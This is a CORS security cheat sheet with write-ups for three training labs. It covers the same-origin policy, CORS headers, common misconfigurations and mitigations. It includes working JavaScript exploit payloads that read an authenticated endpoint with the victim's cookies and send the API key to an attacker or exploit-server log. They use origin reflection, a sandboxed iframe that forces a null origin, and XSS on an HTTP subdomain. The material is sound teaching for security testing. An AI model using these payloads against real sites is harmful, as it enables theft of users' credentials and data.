Cross-Origin Resource Sharing (CORS) – Detailed Cheat
This markdown is designed to copy/paste directly. It uses clear, simple English and is very detailed so you can study or share easily.
This markdown is designed to copy/paste directly. It uses clear, simple English and is very detailed so you can study or share easily.
1. What is CORS?#
CORS (Cross-Origin Resource Sharing) is a browser feature that controls how a website can request resources from another domain.
By default, the Same-Origin Policy (SOP) blocks reading responses from different origins. CORS relaxes this restriction in a controlled way.
2. Same-Origin Policy (SOP)#
Definition:
A security measure in browsers that only allows a web page to make requests to the same domain.
- You can send requests to other domains
- You cannot read their responses
Purpose:
Stops malicious websites from stealing sensitive data from other websites.
3. Why Does CORS Exist?#
Web apps often need cross-domain communication:
- A front-end on
frontend.comneeds data fromapi.backend.com. - Subdomains need to share resources.
CORS allows this safely by defining which origins are trusted.
4. How Does CORS Work?#
Browsers and servers use HTTP headers to negotiate permission.
Client Request Example#
GET /data
Host: api.example.com
Origin: https://frontend.comServer Response Example#
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.comBrowser allows reading the response because it's an allowed origin.
5. Important CORS Headers#
-
Access-Control-Allow-Origin
Specifies which origin is allowed. -
Access-Control-Allow-Credentials
Allows cookies and credentials in requests. -
Access-Control-Allow-Methods
Lists allowed HTTP methods. -
Access-Control-Allow-Headers
Lists allowed headers in requests.
6. Common Vulnerabilities in CORS#
6.1 Reflecting Origin Without Validation#
Example Attack:
- Attacker site sends:
Origin: https://evil.com- Server responds:
Access-Control-Allow-Origin: https://evil.comAny site can read sensitive data.
6.2 Access-Control-Allow-Credentials: true#
When this is set:
- Cookies and session data are sent with the request.
- Makes attacks much more dangerous.
Always validate origins strictly if this is true.
6.3 Wildcard Origin with Credentials#
Browsers will block this combination:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: trueThis is invalid because it's insecure.
6.4 Poor Whitelist Implementation#
Developers often use regex or string matching badly.
Example problem:
- Allowed:
*.site.com - Attacker registers:
evilsite.com - Or:
site.com.evil.com
The server incorrectly trusts them.
6.5 Null Origin Allowed#
Browsers send Origin: null in special cases:
- Sandboxed iframes
- Local files
- Data URLs
If server responds:
Access-Control-Allow-Origin: nullAttacker can abuse it with sandboxed frames.
6.6 Trusting Insecure Protocols#
Example:
- App allows
http://subdomain.site.com - Main site is
https://site.com
Attacker intercepts HTTP traffic and injects malicious pages that steal data.
6.7 Overly Broad Wildcards in Internal Networks#
Servers sometimes do:
Access-Control-Allow-Origin: *On internal networks, this can be abused to read private resources via victim browsers.
7. Example Exploit#
If vulnerable server:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: trueAttacker's JavaScript:
var req = new XMLHttpRequest();
req.onload = function() {
location = 'https://attacker.com/log?data=' + this.responseText;
};
req.open('GET', 'https://victim.com/secret-data', true);
req.withCredentials = true;
req.send();Victim's browser leaks their session data.
- Best Practices to Prevent CORS Attacks 8.1 Strict Origin Validation Never reflect incoming Origin header directly.
Maintain a secure, specific whitelist.
8.2 Avoid Wildcards with Credentials Don’t use * if Access-Control-Allow-Credentials is true.
8.3 Don’t Allow Null Origin Avoid Access-Control-Allow-Origin: null.
Prevent attacks from sandboxed frames or local files.
8.4 Validate Whitelist Carefully Don’t use insecure regex like endsWith("site.com").
Check for exact, trusted origins.
8.5 Enforce HTTPS Everywhere Don’t trust HTTP subdomains if main app uses HTTPS.
8.6 Avoid Wildcards on Internal APIs Don’t use Access-Control-Allow-Origin: * on private/internal APIs.
8.7 Secure Cookies Set Secure, HttpOnly, and SameSite flags.
8.8 Remember: CORS is Not Security by Itself CORS only controls browser behavior.
Always enforce server-side authentication and authorization.
-
Summary Table | Misconfiguration | Risk | Mitigation | |--------------------------------------|--------------------------------|-------------------------------------------| | Reflecting Origin without validation | Any origin can access data | Validate Origin header strictly | | Wildcard with credentials | Cookies can leak to anyone | Never use * with credentials | | Null Origin allowed | Sandboxed iframe attacks | Don’t allow null Origin | | Bad whitelist matching | Attacker domains bypass filters| Use exact matches, strict validation | | Allowing HTTP subdomains | HTTPS downgrade attacks | Require HTTPS for all origins | | Wildcards in internal APIs | Intranet resources exposed | Use precise origins even internally |
-
Tools for Testing CORS Burp Suite (scanner and repeater) curl Postman Insomnia Browser DevTools Network Tab
-
References
MDN Web Docs: CORS OWASP CORS Misconfiguration
CORS Labs Summary – "CORS vulnerability with basic origin reflection"#
Lab: CORS vulnerability with basic origin reflection#
Lab Goal#
Exploit a CORS misconfiguration that reflects any
Originheader.
Target:
Steal the administrator's API key by abusing insecure CORS settings.
Context#
- The target endpoint is
/accountDetails. - It requires authentication (session cookies).
- The server is misconfigured to reflect any
Originin theAccess-Control-Allow-Originheader and it allows credentials.
Why is this a vulnerability?#
- The server does not validate the
Originheader. - Any website can send a cross-origin request with victim's cookies.
- The browser will accept and share the response with the malicious site.
Access-Control-Allow-Credentials: trueenables cookies in cross-origin requests.
Attack Plan (Pentester Steps)#
1. Recon#
- Log in with your own account to find the sensitive endpoint.
- Observe
/accountDetailsreturns JSON withapikeyand session info. - Notice the response includes:
Access-Control-Allow-Origin
Access-Control-Allow-Credentials: true2. Test the Misconfiguration#
- Send the request in a tool (e.g. Burp Suite) with a custom
Originheader like:
Origin: https://example.com- Check the server's response:
Access-Control-Allow-Origin: https://example.comReflection confirmed.
3. Confirm Credential Support#
- Make sure
Access-Control-Allow-Credentials: trueis present.
Means the server will let the browser send session cookies.
4. Build an Exploit#
- Create JavaScript that:
- Makes an authenticated request to
/accountDetails. - Includes credentials (cookies).
- Receives the API key.
- Sends it to your logging endpoint.
5. Deliver the Exploit#
- Host the script on the Exploit Server.
- Deliver it to the victim.
- When the victim opens it, their browser runs the malicious request with their session.
- The response leaks their API key to your logs.
Exploit Example#
Here is the exact payload you can use:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable_site/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>How the Exploit Works (Explanation)#
Create the Request Object:
var req = new XMLHttpRequest();Makes a new XHR request. Set the onload Handler:
req.onload = reqListener;Defines what happens when the response arrives.
Open the Request:
req.open('get', 'URL', true);Prepares a GET request to the vulnerable endpoint.
Enable Cookies:
req.withCredentials = true;Includes the victim's session cookies. Send the Request:
req.send();Executes the request.
Handle the Response:
function reqListener() {
location='/log?key='+this.responseText;
};finaly this is the code HTML
<html>
<body>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable_site/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
</body>
</html>Redirects the browser to /log with the stolen API key in the URL, storing it on your server.
Pentester Mindset: Key Points to Check#
Does the server reflect any Origin? → Test with different values in Origin header.
Is Access-Control-Allow-Credentials enabled? → Means cookies will be sent.
Does the sensitive endpoint rely on cookies for authentication? → This is what you're abusing.
Can the response be accessed cross-origin? → Reflection + Credentials = exploit.
Defensive Recommendations#
Never reflect the Origin header without strict validation. Use a precise whitelist of trusted origins. Avoid Access-Control-Allow-Credentials: true unless absolutely necessary. Never use Access-Control-Allow-Origin: * with credentials. Validate that the Origin matches an expected, exact value.
CORS Lab 2 – "CORS vulnerability with trusted null origin" – Quick Pentester Guide#
Goal (Short)#
Exploit CORS misconfiguration that trusts "null" as Origin to steal the admin's API key.
Why is it vulnerable?#
- Server has:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true- null Origin is dangerous because browsers can legitimately send it in some contexts.
- A sandboxed iframe forces Origin to "null".
Pentester Steps – Brief#
- Log in to your own account
- Note
/accountDetailsendpoint. - Response contains
apikeyand uses credentials.
- Test in Burp Repeater
- Add header:
text
Origin: null - Check server response:
text
Access-Control-Allow-Origin: null
Confirms the misconfiguration.
- Build Exploit HTML
- Use a sandboxed iframe with
srcdoc. - This forces Origin: null in the browser request.
- Make the cross-origin request with credentials.
- Host Exploit on Exploit Server
- Paste the iframe payload.
- Replace with your LAB and Exploit Server IDs.
- Deliver Exploit
- Click “Deliver exploit to victim” in the UI.
- Wait for victim’s browser to send their session request.
- Their API key will appear in your logs.
Example Exploit Code#
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>
"></iframe>Notice the use of an iframe sandbox as this generates a null origin request.
How it Works (Short Explanation)#
The sandboxed iframe makes the request with Origin: null. Server trusts null → allows response. Browser includes victim's cookies. Exploit code grabs API key from response. Redirects to your log with apikey in URL.
Summary#
Vulnerability: Server blindly trusts null Origin. Exploit: Use sandboxed iframe to trigger null-origin CORS request. Result: Steal victim’s API key using their session.
CORS Lab 3 – "Trusted Insecure Protocols" – Quick Pentester Notes#
Goal#
Exploit a CORS misconfiguration where the server trusts all subdomains, even over insecure HTTP, to steal the admin's API key.
The Problem#
- Main website is secure (HTTPS).
- Subdomain (like stock) is served over HTTP.
- Server responds with:
Access-Control-Allow-Origin: http://subdomain...
Access-Control-Allow-Credentials: trueIt blindly trusts any subdomain regardless of protocol.
Why is this Dangerous?#
- HTTP subdomains are not secure.
- Attackers can intercept or inject code (XSS) on them.
- From that XSS, they can make authenticated requests to the main HTTPS domain.
- Cookies (withCredentials) will be sent with the request.
How Did We Find the Issue?#
- Logged in and found the sensitive endpoint:
/accountDetails- Contains the user's API key.
- Tested in Burp Repeater:
Origin: http://stock...- Server replied with:
text
Access-Control-Allow-Origin: http://stock...
Confirms it allows insecure (HTTP) subdomains.
Extra Observation#
- The stock subdomain is served over HTTP.
- Has a vulnerable parameter (productId) that is XSS injectable.
Attack Plan#
- Exploit XSS in the HTTP subdomain.
- Inject malicious JavaScript:
- Makes a request to
/accountDetailson the main domain (HTTPS). - Uses
withCredentials = trueto include victim's cookies. - Reads the response containing the API key.
- Sends it to our exploit server.
Example Exploit Payload#
<script>
document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+this.responseText;};</script>&storeId=1"
</script>What does it do?
Opens the stock subdomain (HTTP) with injected XSS. XSS runs in the victim’s browser. Makes a cross-origin request to the main HTTPS site. Browser sends session cookies. Captures the API key from the response. Sends it to our logging endpoint.
Final Result ✔️ We stole the admin's API key from the secure main site. ✔️ Used XSS on an insecure HTTP subdomain. ✔️ Demonstrated a critical CORS misconfiguration.
Key Lesson Never trust HTTP subdomains in CORS settings. Only allow secure, verified HTTPS origins. Have strict, precise CORS policies.